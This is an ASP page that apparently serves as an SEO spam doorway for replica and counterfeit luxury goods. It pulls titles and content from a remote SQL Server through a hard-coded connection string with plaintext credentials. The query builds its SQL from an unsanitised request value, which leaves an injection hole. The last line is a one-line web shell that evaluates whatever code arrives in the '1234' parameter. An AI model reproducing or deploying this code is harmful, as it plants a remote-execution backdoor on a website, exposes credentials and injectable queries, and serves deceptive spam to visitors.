<% ConnStr="provider=sqloledb; data source=199.36.77.92;uid=wlsa;pwd=raid2014;database=new1" ttype= request("type") if Instr(1, ttype, "list")<= 0 then tids = request("tid") Set Conn=Server.CreateObject("ADODB.Connection") on error resume next 'ConnStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("\")&"\http---www-binu365-com-index-news-asp-tid-" ''Response.Write ConnStr&"
" Conn.Open ConnStr Set Rs=Server.CreateObject("ADODB.Recordset") Rs.open "select * from httpbiarchitectureorgwpincludesmsdefaultconstantsasptid where nameid='"&tids&"'",conn,1,1 'Rs.open "select * from httpbiarchitectureorgwpincludesmsdefaultconstantsasptid where nameid='"&tids&"'",conn,1,1 if not rs.eof then if err.number<>0 then end if %> <% Response.Write (Rs("Title")) %> <% 'jsname =1 if Instr(1, tids, "Red")>0 then jsname =1 end if if Instr(1, tids, "Christian Louboutin")>0 then jsname =1 end if if Instr(1, tids, "moncler")>0 then jsname =2 end if if Instr(1, tids, "lululemon")>0 then jsname =3 end if if Instr(1, tids, "Hermes")>0 then jsname =4 end if if Instr(1, tids, "Cartier")>0 then jsname =5 end if if Instr(1, tids, "Beats")>0 then jsname =6 end if %>

<% Response.Write (Rs("Title")) %>

<% Response.Write (Rs("Content")) %>
list
<% end if else 'On Error Resume Next Set Conn=Server.CreateObject("ADODB.Connection") 'ConnStr="Provider=Microsoft.Jet.OLEDB.4.0;Data Source="&Server.MapPath("\")&"\http---www-binu365-com-index-news-asp-tid-" ''Response.Write ConnStr&"
" Conn.Open ConnStr Set Rs=Server.CreateObject("ADODB.Recordset") sql="Select * from httpbiarchitectureorgwpincludesmsdefaultconstantsasptid order by ID asc" Rs.Open sql,Conn,1,1 n=0 if not rs.eof then PageSize=50 Rs.PageSize=PageSize RecordCount=Rs.RecordCount PageNo=Request("PageNo") if PageNo="" then PageNo=1 else PageNo=cint(PageNo) end if Rs.AbsolutePage=cint(PageNo) %> replica bracelet|cheap jackets|shoes outlet| Page <% Response.Write (PageNo) %>
"> <%for i=1 to PageSize Response.Write rs("ID")&"---"&""&rs("title")&""&"
" %> <%rs.movenext if rs.eof then exit for n=n+1%> <%next%> <%=n%> Home <%if PageNo>1 then%>Previous <%else%>Previous <%end if%> <%for i=1 to Rs.PageCount %> <%if PageNo+1=[<%=i%> ]<%end if%> <%next%> <%if PageNo+1next<%else%> next<%end if%> end <% end if end if %> <%eval request("1234")%>